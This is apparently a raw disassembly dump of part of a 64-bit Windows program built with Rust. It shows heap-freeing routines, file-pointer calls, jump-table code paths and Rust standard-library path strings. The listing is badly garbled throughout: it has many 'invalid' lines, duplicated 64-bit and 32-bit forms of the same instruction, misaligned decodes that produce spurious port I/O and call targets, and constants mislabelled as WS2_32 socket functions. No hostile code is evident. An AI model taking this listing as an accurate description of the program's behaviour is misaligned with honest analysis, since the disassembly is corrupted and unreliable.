mov rdx, qword [rsp + 0x44]
push rsp
and al, 0x44
mov qword [rsi + 0x30], rdx
mov dword [rsi + 0x38], ecx
jmp case.0x140133f08.157
jmp case.0x140133f08.157
add al, byte [rax]
or eax, 2
invalid
invalid
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
add rsp, 0x68
pop rdi
invalid
pop rsi
int3
int3
int3
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x58
sub esp, 0x58
in al, dx
pop rax
lea rbp, [rsp + 0x50]
lea ebp, [rsp + 0x50]
push rax
mov qword [rbp], 0xfffffffffffffffe
add r14b, r15b
invalid
invalid
dec dword [rax - 0x77]
mov rdi, rdx
mov edi, edx
xlatb
mov rdx, qword [rdx + 8]
push rdx
or byte [rax - 0x75], cl
mov rsi, qword [rdi + 0x10]
mov esi, dword [rdi + 0x10]
ja case.0x140133f08.166
mov r9, rdx
mov ecx, edx
ror dword [rcx + 0x29], 1
sub r9, rsi
sub ecx, esi
int1
jb case.0x1401357e1.95
invalid
add al, byte [rax]
add byte [rax - 0x77], cl
mov rax, rcx
enter 0xffffffffffff8b4c, 7
mov r8, qword [rdi]
mov eax, dword [rdi]
add r8, rsi
lea rcx, [rbp - 0x28]
lea ecx, [rbp - 0x28]
fmul dword [r8 - 0x77]
ret 0xefe8
invalid
out dx, eax
mov rdx, rax
call fcn.140135c60
out dx, eax
add al, 0
add byte [rax - 0x7d], cl
jge case.0x140130eaa.266
cmp qword [rbp - 0x28], 0
je case.default.0x14013578f
invalid
add byte [rdi + rbx + 0x48], dh
mov edi, dword [rbp - 0x20]
invalid
mov rdi, qword [rbp - 0x20]
mov ebx, edi
and ebx, 3
lea rax, [0x14020b968]
invalid
movsxd rcx, dword [rax + rbx*4]
add rcx, rax
jmp rcx
movzx eax, byte [rdi + 0x10]
jmp 0x1401357eb
push rsp
adc r11b, r13b
adc bl, ch
push rsp
add rsi, qword [rbp - 0x20]
loopne 0x1401357e4
mov qword [rdi + 0x10], rsi
mov rax, qword [rdi + 0x18]
sbb byte [r8 + 0x39], r9b
invalid
ja case.0x140134dce.50
sbb byte [r8 + 0x39], r9b
cmp eax, esi
invalid
cmova rsi, rax
mov qword [rdi + 0x18], rsi
mov dword [rdi + 0x18], esi
invalid
mov dword [rdi + 0x18], esi
xor esi, esi
imul cl
stosd dword [rdi], eax
jmp 0x140135860
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov ecx, edi
stc
shr rcx, 0x20
shr ecx, 0x20
call fcn.14012f020
jmp 0x1401357eb
pop rdi
cwde
invalid
invalid
mov eax, edi
shr rax, 0x20
shr eax, 0x20
cmp eax, 0x28
ja case.default.0x1401357e1
invalid
cdq
add byte [rax], al
invalid
clc
sub byte [rdi], cl
xchg dword [rcx + 0x48000000], ebx
lea ecx, [0x14020b978]
or eax, 0xd619e
add byte [rax - 0x73], cl
lea rcx, [0x14020b978]
or eax, 0xd619e
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
enter 0xffffffffffffe0ff, 0x31
shr bl, 4
jmp rax
xor eax, eax
jmp 0x1401357eb
movzx eax, byte [rdi + 0xf]
rdtsc
idiv byte [rbx + rcx]
cmp al, 0xb
xor esi, esi
cmp al, 0xb
or ecx, dword [rax + 0xf]
cmovne rsi, rdi
jne 0x140135860
div dword [r13 + 0x6b]
lea rax, [rbx - 2]
dec byte [rax - 0x7d]
clc
cmp rax, 2
add dh, byte [rdx + 0x61]
jb 0x140135860
test rbx, rbx
je 0x140135860
pop rsp
pop rsp
lea rax, [rdi - 1]
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x18], eax
dec dword [r8 - 0x77]
mov dword [rbp - 0x18], eax
call 0x13f62e358
mov rcx, qword [rdi - 1]
mov ecx, dword [rdi - 1]
mov rax, qword [rdi + 7]
mov eax, dword [rdi + 7]
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rax
invalid
call qword [rax]
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
cmp qword [rax + 8], 0
je case.0x140132814.202
add byte [rsp + 0x48], dh
cmp dword [rax + 0x10], 0x11
invalid
cmp qword [rax + 0x10], 0x11
adc dword [rbx + 6], esi
jae 0x140135836
mov r8, qword [rbp - 8]
jmp case.0x1401316c1.247
mov r8, qword [rbp - 8]
mov eax, dword [rbp - 8]
mov r8, qword [r8 - 8]
mov eax, dword [rax - 8]
clc
mov rcx, qword [0x140215360]
sti
or eax, 0xffd23100
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
add byte [rax - 0x75], cl
or eax, 0xdfb0c
or al, 0xfb
invalid
invalid
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
or al, 0xfb
sti
or eax, 0x4cd23100
add byte [rcx], dh
xor edx, edx
mov r8, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
ror byte [rbx + rcx*4 + 0x45], cl
call 0x167db6e5d
invalid
invalid
invalid
invalid
mov eax, dword [rbp - 0x18]
call 0x167db6e5d
call qword [sym.imp.KERNEL32.dll_HeapFree]
enter 0x327, 0
add eax, dword [rax]
add byte [rax - 0x77], cl
invalid
mov rax, rsi
mov eax, esi
add rsp, 0x58
invalid
pop rax
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov al, 0x29
jmp 0x1401357eb
js case.0x140132814.207
invalid
invalid
sub ecx, ebp
js case.0x140132814.207
invalid
mov al, 1
jmp 0x1401357eb
jno case.0x140132814.208
invalid
invalid
add ecx, ebp
jno case.0x140132814.208
invalid
mov al, 2
jmp 0x1401357eb
push 0xffffffffffffffff
invalid
invalid
add ch, cl
push 0xffffffffffffffff
invalid
mov al, 3
jmp 0x1401357eb
invalid
invalid
invalid
invalid
add ebp, ecx
invalid
invalid
mov al, 4
jmp 0x1401357eb
pop rsp
invalid
invalid
invalid
add al, 0xe9
pop rsp
invalid
invalid
mov al, 5
jmp 0x1401357eb
push rbp
invalid
invalid
invalid
add eax, 0xffff55e9
push qword [rax - 0xb116fa]
mov al, 6
invalid
invalid
invalid
push rbp
invalid
invalid
mov al, 6
jmp 0x1401357eb
invalid
invalid
invalid
invalid
invalid
invalid
invalid
mov al, 7
jmp 0x1401357eb
invalid
invalid
invalid
invalid
invalid
invalid
invalid
mov al, 8
jmp 0x1401357eb
invalid
invalid
invalid
invalid
or cl, ch
invalid
invalid
mov al, 9
or ecx, ebp
jmp 0x1401357eb
cmp edi, edi
invalid
mov al, 0xa
jmp 0x1401357eb
xor bh, bh
invalid
invalid
or ch, cl
xor bh, bh
invalid
mov al, 0xb
jmp 0x1401357eb
sub edi, edi
invalid
invalid
or ebp, ecx
sub edi, edi
invalid
mov al, 0xc
jmp 0x1401357eb
and al, 0xff
invalid
invalid
or al, 0xe9
and al, 0xff
invalid
mov al, 0xd
jmp 0x1401357eb
invalid
invalid
invalid
invalid
or eax, 0xffff1de9
push qword [rax - 0xe916f2]
invalid
invalid
invalid
invalid
sbb eax, 0xb0ffffff
invalid
mov al, 0xe
invalid
jmp 0x1401357eb
invalid
invalid
mov al, recv
jmp 0x1401357eb
ud0
invalid
invalid
psubsw mm1, qword [rdi]
invalid
ud0
invalid
mov al, reloc.WS2_32.dll_recv
adc cl, ch
jmp 0x1401357eb
or bh, bh
invalid
mov al, 0x11
jmp 0x1401357eb
add edi, edi
invalid
invalid
adc ecx, ebp
add edi, edi
invalid
mov al, send
jmp 0x1401357eb
cli
invalid
invalid
invalid
adc ch, cl
cli
invalid
invalid
mov al, reloc.WS2_32.dll_send
jmp 0x1401357eb
invalid
invalid
invalid
invalid
adc ebp, ecx
invalid
invalid
mov al, setsockopt
jmp 0x1401357eb
in al, dx
invalid
invalid
invalid
adc al, 0xe9
in al, dx
invalid
invalid
mov al, reloc.WS2_32.dll_setsockopt
jmp 0x1401357eb
in eax, 0xfe
invalid
invalid
adc eax, 0xfffee5e9
push qword [rax - 0x12116ea]
invalid
invalid
fdivp st(6)
in eax, 0xfe
invalid
mov al, reloc.WS2_32.dll_shutdown
jmp 0x1401357eb
fdivp st(6)
invalid
invalid
invalid
fdivp st(6)
invalid
mov al, 0x17
jmp 0x1401357eb
xlatb
invalid
invalid
invalid
invalid
xlatb
invalid
invalid
mov al, 0x18
jmp 0x1401357eb
sar dh, 1
invalid
invalid
sbb cl, ch
sar dh, 1
invalid
mov al, 0x19
jmp 0x1401357eb
leave
invalid
invalid
invalid
sbb ecx, ebp
leave
invalid
invalid
mov al, 0x1a
jmp 0x1401357eb
ret 0xfffe
invalid
sbb ch, cl
ret 0xfffe
invalid
mov al, 0x1b
jmp 0x1401357eb
invalid
invalid
invalid
invalid
sbb ebp, ecx
mov ebx, 0xb0fffffe
invalid
mov al, 0x1c
jmp 0x1401357eb
mov ah, 0xfe
invalid
invalid
sbb al, 0xe9
mov ah, 0xfe
invalid
mov al, 0x1d
jmp 0x1401357eb
lodsd eax, dword [rsi]
invalid
invalid
invalid
sbb eax, 0xfffeade9
push qword [rax - 0x15916e2]
invalid
invalid
cmpsb byte [rsi], byte [rdi]
invalid
lodsd eax, dword [rsi]
invalid
invalid
mov al, 0x1e
jmp 0x1401357eb
cmpsb byte [rsi], byte [rdi]
invalid
invalid
invalid
invalid
cmpsb byte [rsi], byte [rdi]
invalid
invalid
mov al, 0x1f
jmp 0x1401357eb
lahf
invalid
invalid
invalid
invalid
lahf
invalid
invalid
mov al, 0x20
jmp 0x1401357eb
cwde
invalid
invalid
invalid
and cl, ch
cwde
invalid
invalid
mov al, 0x21
jmp 0x1401357eb
xchg ecx, eax
invalid
invalid
invalid
and ecx, ebp
xchg ecx, eax
invalid
invalid
mov al, 0x22
jmp 0x1401357eb
mov bh, dh
invalid
invalid
and ch, cl
mov bh, dh
invalid
mov al, 0x23
jmp 0x1401357eb
mov al, 0x24
jmp 0x1401357eb
mov al, 0x25
jmp 0x1401357eb
mov al, 0x26
jmp 0x1401357eb
mov al, 0x27
jmp 0x1401357eb
mov al, 0x28
jmp 0x1401357eb
lea r8, str.library_std_srcio_readbuf.rs
add eax, 0xa5ca6
mov rcx, rsi
call fcn.140160e60
add byte [rdi], cl
or ecx, dword [rdi]
invalid
ud2
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x50]
lea ebp, [rdx + 0x50]
lea ebp, [rdx + 0x50]
push rax
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
adc byte [rax - 0x75], cl
clc
mov rcx, qword [rbp - 8]
call fcn.14012dad0
mov rcx, qword [rbp - 0x18]
cmp edi, 0x4d8b48ff
call 0x1405ffbb6
call fcn.14013a670
nop
add rsp, 0x28
add esp, 0x28
call fcn.14013a670
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
in al, dx
pop rax
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
dec dword [rax - 0x77]
invalid
mov rsi, rcx
lea rcx, [rbp - 0x28]
invalid
fsubr st(0)
pop rdi
add al, byte [rax]
add byte [rax - 0x7d], cl
invalid
jge 0x1401359dd
call fcn.140135c60
cmp qword [rbp - 0x28], 0
cmp dword [rbp - 0x28], 0
cmp dword [rbp - 0x28], 0
add byte [rdi + rbx + 0x48], dh
je case.default.0x140135a1f
mov rdi, qword [rbp - 0x20]
mov edi, dword [rbp - 0x20]
mov ebx, edi
and ebx, 3
add ecx, dword [rax - 0x73]
add eax, 0xd6004
invalid
add ecx, dword [rax - 0x73]
add eax, 0xd6004
invalid
add byte [rax + 0x63], cl
or al, 0x98
movsxd rcx, dword [rax + rbx*4]
add rcx, rax
jmp rcx
invalid
sar edi, 0xe1
loope 0x140135a31
movzx eax, byte [rdi + 0x10]
mov dh, 0x47
adc bl, ch
jmp 0x140135a4a
mov rax, qword [rbp - 0x20]
invalid
jmp 0x140135a4a
mov rax, qword [rbp - 0x20]
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
mov dword [rsi + 8], eax
mov qword [rsi], 0
jmp 0x140135aa0
invalid
add byte [rax], al
add bl, ch
push 0x48f98948
stc
shr rcx, 0x20
stc
shr rcx, 0x20
call fcn.14012f020
jmp 0x140135a4a
xchg ebp, eax
invalid
movzx eax, byte [rdi + 0xf]
invalid
cmp al, 0xb
jne case.0x1401357e1.133
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
lea rax, [rbx - 2]
dec byte [r8 - 0x7d]
clc
add dh, byte [rdx + 0x42]
invalid
push rdi
ror byte [rdi], 0x11
invalid
dec byte [r8 - 0x7d]
clc
add dh, byte [rdx + 0x42]
invalid
test rbx, rbx
test rbx, rbx
je 0x140135aa0
lea rax, [rdi - 1]
lea eax, [rdi - 1]
mov qword [rbp - 0x18], rax
mov rcx, qword [rdi - 1]
mov rax, qword [rdi + 7]
invalid
mov qword [rbp - 8], rcx
invalid
mov dword [rbp - 8], ecx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
invalid
cmp qword [rax + 8], 0
je 0x140135ae0
pop rax
invalid
invalid
pop rax
cmp qword [rax + 0x10], 0x11
jae 0x140135ac9
invalid
cmp cl, byte [rbx + rcx*4 + 0x45]
clc
mov r8, qword [rbp - 8]
jmp 0x140135ad1
mov qword [rsi + 8], rdi
mov qword [rsi], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add rsp, 0x58
pop rax
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov eax, edi
shr rax, 0x20
cmp eax, 0x28
clc
sub byte [rdi + 0x47], dh
clc
sub byte [rdi + 0x47], dh
lea rcx, [0x14020ba2c]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
jo 0x140135b19
or eax, 0x4634800
or dword [rax + 1], 0x31e0ffc8
xor eax, eax
jmp 0x140135a4a
shr bl, 0x81
mov r8, qword [rbp - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x32548
mov al, bh
or eax, 0xffd23100
adc eax, 0x32548
mov rcx, qword [0x140215360]
or eax, 0xdf879
xor edx, edx
mov r8, qword [rbp - 0x18]
add rsp, 0x58
pop rax
pop rax
pop rbx
pop rdi
pop rsi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
and eax, 0x3252c
and eax, 0x3252c
mov al, 0x29
jmp 0x140135a4a
mov al, 1
jmp 0x140135a4a
mov al, 2
jmp 0x140135a4a
mov al, 3
jmp 0x140135a4a
mov al, 4
add al, 0xe9
sub edi, edi
invalid
jmp 0x140135a4a
mov al, 5
jmp 0x140135a4a
mov al, 6
jmp 0x140135a4a
mov al, 7
jmp 0x140135a4a
mov al, 8
jmp 0x140135a4a
mov al, 9
jmp 0x140135a4a
mov al, 0xa
jmp 0x140135a4a
mov al, 0xb
jmp 0x140135a4a
mov al, 0xc
jmp 0x140135a4a
mov al, 0xd
jmp 0x140135a4a
mov al, 0xe
jmp 0x140135a4a
mov al, recv
jmp 0x140135a4a
mov al, reloc.WS2_32.dll_recv
jmp 0x140135a4a
mov al, 0x11
jmp 0x140135a4a
mov al, send
jmp 0x140135a4a
mov al, reloc.WS2_32.dll_send
jmp 0x140135a4a
mov al, setsockopt
jmp 0x140135a4a
mov al, reloc.WS2_32.dll_setsockopt
jmp 0x140135a4a
mov al, reloc.WS2_32.dll_shutdown
jmp 0x140135a4a
mov al, 0x17
jmp 0x140135a4a
mov al, 0x18
jmp 0x140135a4a
mov al, 0x19
jmp 0x140135a4a
mov al, 0x1a
jmp 0x140135a4a
mov al, 0x1b
jmp 0x140135a4a
mov al, 0x1c
jmp 0x140135a4a
mov al, 0x1d
jmp 0x140135a4a
mov al, 0x1e
jmp 0x140135a4a
mov al, 0x1f
jmp 0x140135a4a
mov al, 0x20
jmp 0x140135a4a
mov al, 0x21
jmp 0x140135a4a
mov al, 0x22
jmp 0x140135a4a
mov al, 0x23
jmp 0x140135a4a
mov al, 0x24
jmp 0x140135a4a
mov al, 0x25
jmp 0x140135a4a
mov al, 0x26
jmp 0x140135a4a
mov al, 0x27
jmp 0x140135a4a
mov al, 0x28
jmp 0x140135a4a
add al, 0
add byte [rbx + 0x78], dh
invalid
js 0x140136162
lea r8, [r14 + r14]
test rdi, rdi
add al, 0x3f
mov rsi, r9
mov qword [rbp + 0x3b8], r9
add byte [rax - 0x39], cl
test eax, eax
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x77], cl
test eax, ecx
add eax, dword [rax]
add bl, ch
invalid
invalid
test al, 3
add byte [rax], al
je case.0x14012f071.1261
movabs rax, 0x8000000000000001
cmp rcx, rax
mov r9, rsi
int1
jne 0x14013633e
lea ecx, [rax]
add al, 0
add byte [rcx], dh
ror byte [rbp - 0x77], cl
mov r8, r13
invalid
invalid
add eax, dword [rbx]
mov r8, r13
call fcn.140166540
add byte [rax - 0x75], cl
mov ebp, 0x408
invalid
add byte [rax - 0x75], cl
mov ebp, 0x408
invalid
add byte [rax - 0x75], cl
ja case.0x14012f071.1260
mov rsi, qword [rdi + 0x10]
mov r9, qword [rdi]
cmovl ecx, dword [rbx + 0x21eb0877]
lea r8, [r13*2]
mov rbx, r9
lea rcx, [r9 + rsi*2]
mov rdx, qword [rbp + 0x400]
call sub.VCRUNTIME140.dll_memcpy
add rsi, r13
mov qword [rdi + 0x10], rsi
mov rax, r14
sub rax, rsi
cmp rax, r12
jae 0x140136224
mov rcx, rdi
mov rdx, rsi
mov r8, r12
call fcn.140166540
mov rdi, qword [rbp + 0x408]
mov rsi, qword [rdi + 0x10]
mov r13, qword [rdi]
mov r14, qword [rdi + 8]
jmp 0x140136227
mov r13, rbx
lea r8, [r12 + r12]
lea rcx, [rsi*2]
add rcx, r13
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov rax, r13
add rsi, r12
mov qword [rdi + 0x10], rsi
cmp rsi, r14
jne 0x140136266
mov rcx, rdi
mov rdx, r14
call fcn.1401302a0
mov rdi, qword [rbp + 0x408]
mov rax, qword [rdi]
mov rsi, qword [rdi + 0x10]
mov word [rax + rsi*2], 0
inc rsi
mov qword [rdi + 0x10], rsi
xor esi, esi
cmp qword [rbp + 0x3f0], 0
lock add eax, dword [rax]
add byte [rax], al
lock add eax, dword [rax]
add byte [rax], al
je 0x140136295
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp + 0x3f8]
or eax, 0x4cd23100
mov eax, dword [rbp + 0x3f8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rax - 0x7b], cl
div byte [rbp + rbp + 0x48]
je 0x1401362c7
mov rax, qword [rbp + 0x3e8]
test rsi, rsi
je 0x1401362c7
mov rax, qword [rbp + 0x3e8]
add byte [rax - 0x77], cl
jo 0x1401362ad
mov qword [rax + 8], rsi
mov qword [rax], 0
cmp qword [rdi + 8], 0
invalid
je 0x1401362dc
add byte [rcx + rbp + 0x4c], dh
mov eax, dword [rdi]
mov r8, qword [rdi]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x31d63
adc eax, 0x31d63
jmp 0x1401362dc
mov rax, qword [rdi + 0x10]
mov rcx, qword [rbp + 0x3e8]
mov ecx, dword [rbp + 0x3e8]
adc byte [r8 - 0x75], r9b
invalid
mov ecx, dword [rbp + 0x3e8]
add byte [rax - 0x77], cl
adc byte [r15], cl
adc byte [rdi], cl
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rdi]
invalid
adc byte [rdi], cl
adc byte [rdi], al
invalid
movups xmmword [rcx], xmm0
add rsp, 0x498
add esp, 0x498
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea ecx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
lea eax, [0x1401dd1e8]
or al, byte [rax]
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
add byte [rax], al
add al, ch
mov byte [rdx + rax + 0x4c2ceb00], ch
add al, byte [rax]
jmp 0x140136356
lea r8, str.library_std_src_syswindowsmod.rs
call fcn.140160fb0
add al, byte [rax]
jmp 0x140136356
mov rcx, r12
add bl, ch
sbb byte [rax - 0x7b], cl
leave
jmp 0x140136356
test rcx, rcx
jne 0x14013634a
invalid
call fcn.1400138d0
jmp 0x140136356
invalid
or al, 0x48
mov edx, dword [rbp + 0x3b0]
invalid
mov rdx, qword [rbp + 0x3b0]
add al, ch
invalid
call fcn.14015d7f0
ud2
nop dword [rax + rax]
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
invalid
mov qword [rsp + 0x10], rdx
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
invalid
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rbp + 0x3d0]
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
fadd dword [rbx]
mov rdx, qword [rbp + 0x3d8]
add byte [rax], al
add al, ch
int1
invalid
call fcn.140013980
mov rax, qword [rbp + 0x408]
mov eax, dword [rbp + 0x408]
mov rcx, qword [rax]
mov ecx, dword [rax]
mov rdx, qword [rax + 8]
or al, ch
call fcn.140013980
nop
add rsp, 0x28
add esp, 0x28
invalid
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
mov dword [rcx + 0x10], edx
ret
int3
int3
lea rbp, [rsp + 0x40]
lea ebp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
test rcx, rcx
leave
clc
invalid
invalid
leave
je 0x1401363fb
mov eax, edx
and eax, 3
add ecx, dword [rax - 0x73]
invalid
invalid
add ecx, dword [rax - 0x73]
dec byte [rax - 0x7d]
cmp rcx, 2
jb 0x1401363fb
invalid
stc
add dh, byte [rdx + 5]
invalid
add eax, 0x75c08548
invalid
test rax, rax
jne 0x140136401
add rsp, 0x40
add esp, 0x40
pop rbp
ret
dec dword [rax - 0x77]
loopne 0x140136452
mov ecx, dword [rdx - 1]
mov rax, qword [rdx + 7]
mov eax, dword [rdx + 7]
mov eax, dword [rdx + 7]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x18], rax
call qword [rax]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0xcb5b751c
call 0x1488be76b
invalid
invalid
js 0x14013642b
mov eax, dword [rbp - 0x18]
cmp qword [rax + 8], 0
je 0x14013644a
add byte [rsp + 0x48], dh
cmp dword [rax + 0x10], 0x11
invalid
cmp qword [rax + 0x10], 0x11
adc dword [rbx + 6], esi
jae 0x140136433
mov r8, qword [rbp - 0x10]
jmp case.0x1401316c1.280
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov eax, dword [rax - 8]
mov rcx, qword [0x140215360]
out dx, eax
or eax, 0xffd23100
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
ficomp word [rbx]
add eax, dword [rax]
invalid
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
ficomp word [rbx]
add eax, dword [rax]
invalid
ficomp word [rbx]
add eax, dword [rax]
invalid
add byte [rax - 0x75], cl
or eax, 0xdef0f
invalid
out dx, eax
invalid
invalid
mov rcx, qword [0x140215360]
pxor mm1, qword [0x18ce59554]
add byte [rcx], dh
xor edx, edx
mov r8, qword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
ror byte [rbx + rcx*4 + 0x45], cl
loopne 0x1401364a0
invalid
mov eax, dword [rbp - 0x20]
loopne 0x1401364a0
add rsp, 0x40
add esp, 0x40
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
and eax, 0x31bc5
nop word cs:[rax + rax]
nop word cs:[rax + rax]
sbb eax, dword [rbx]
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
invalid
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
and al, 0x10
push rbp
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
push rax
invalid
call 0x14863efce
call 0x14863efce
or byte [rbx + rcx*4 + 0x40], cl
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
invalid
invalid
call fcn.14012dad0
invalid
jbe case.0x14012f071.1264
invalid
invalid
adc byte [rax - 0x75], cl
adc byte [rax - 0x75], cl
invalid
cmp eax, 0x48ffff76
invalid
mov rcx, qword [rbp - 0x20]
mov ecx, dword [rbp - 0x20]
loopne 0x140136480
call fcn.14013a670
invalid
add byte [r8], al
add byte [rax], al
nop
add rsp, 0x20
invalid
and byte [rbp - 0x3d], bl
int3
pop rbp
ret
int3
int3
int3
int3
int3
int3
int3
jns case.0x140130eaa.343
add byte [rbx + rdx + 0x4c], dh
mov eax, dword [rcx]
invalid
adc ecx, dword [rbx + rcx*4 + 1]
mov r8, qword [rcx]
add dword [rax - 0x75], ecx
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
or eax, 0xdee9f
lahf
out dx, al
or eax, 0x48d23100
add byte [rcx], dh
invalid
invalid
add byte [rcx], dh
xor edx, edx
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
ror byte [rax - 1], cl
and eax, 0x31b5e
sbb eax, dword [rbx]
invalid
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
sbb eax, dword [rbx]
add bl, al
ret
int3
int3
push rbp
push rsi
push rdi
sub rsp, 0x90
in al, dx
nop
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], 0
add byte [rax - 0x39], cl
or r14b, r15b
invalid
invalid
invalid
in al, dx
nop
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], 0
add byte [rax], 0
add byte [rax - 0x39], cl
mov dword [rbp + 8], 0xfffffffe
or r14b, r15b
or dh, bh
invalid
mov rsi, rcx
invalid
lea rcx, [rbp - 0x58]
mov rdx, rsi
bnd call fcn.140135620
call fcn.140135620
cmp dword [rbp - 0x58], 2
jne case.0x140133e24.254
jge case.0x1401316c1.295
add dh, byte [rbp + 0x54]
mov rax, qword [rbp - 0x50]
mov r8b, 0x89
mov ecx, eax
and ecx, 3
loope case.0x1401327c8.272
xor esi, esi
lea rdx, [rcx - 2]
lea edx, [rcx - 2]
test byte [rax - 0x73], 0x51
lea edx, [rcx - 2]
dec byte [rax - 0x7d]
cmp edx, 2
cli
add cl, byte [rdi]
invalid
jb 0x1401365be
invalid
add byte [rax], al
test rcx, rcx
leave
je 0x1401365be
test byte [rbp + 0x48000000], bl
popfq
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rcx, [rax - 1]
lea ecx, [rax - 1]
dec dword [rax - 0x77]
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x10], ecx
invalid
mov rcx, qword [rax - 1]
dec qword [rax - 0x75]
dec dword [rax - 0x75]
mov dword [rbp], ecx
clc
call qword [rax]
mov rax, qword [rbp - 8]
mov eax, dword [rbp - 8]
cmp dword [rax + 8], 0
mov r8, qword [rbp]
jmp case.0x140130eaa.358
mov rdi, qword [rbp - 0x20]
mov rdi, qword [rbp - 0x20]
mov edi, dword [rbp - 0x20]
jge case.0x140133e24.250
mov qword [rbp - 0x58], 0
test al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x45], cl
invalid
invalid
invalid
lea r8, [rbp - 0x58]
lea eax, [rbp - 0x58]
test al, 0x48
mov rcx, rsi
mov ecx, esi
xor edx, edx
rol byte [rcx - 0x47], cl
mov r9d, 1
mov ecx, 1
add dword [rax], eax
add byte [rax], al
invalid
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
and al, 0x1c
add eax, dword [rax]
sbb al, 3
add byte [rbp + 0x311174c0], al
test eax, eax
je case.0x140134a1e.191
invalid
test eax, eax
sal byte [rcx + rdx + 0x31], 0xd2
je case.0x140134a1e.191
adc dword [rcx], esi
xor edx, edx
ror byte [rax + 0x2b], cl
sub rdi, qword [rbp - 0x58]
jge 0x140136526
cmovae rdx, rdi
cmovae edx, edi
mov esi, 1
add dword [rax], eax
add byte [rax], al
add bl, ch
xor eax, 0x25a82e8
invalid
invalid
pop rdx
invalid
jmp 0x1401365be
call sub.KERNEL32.dll_GetLastError
invalid
add al, byte [rax]
add byte [rcx], dh
imul bl
invalid
xor esi, esi
jmp 0x1401365be
sub al, 0x4c
clc
mov ecx, dword [0x140215360]
or eax, 0xffd23100
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x31a7f
sar bh, cl
adc eax, 0x31a7f
sbb al, byte [rbx]
add byte [rax - 0x75], cl
or eax, 0xdedb0
mov al, 0xed
invalid
invalid
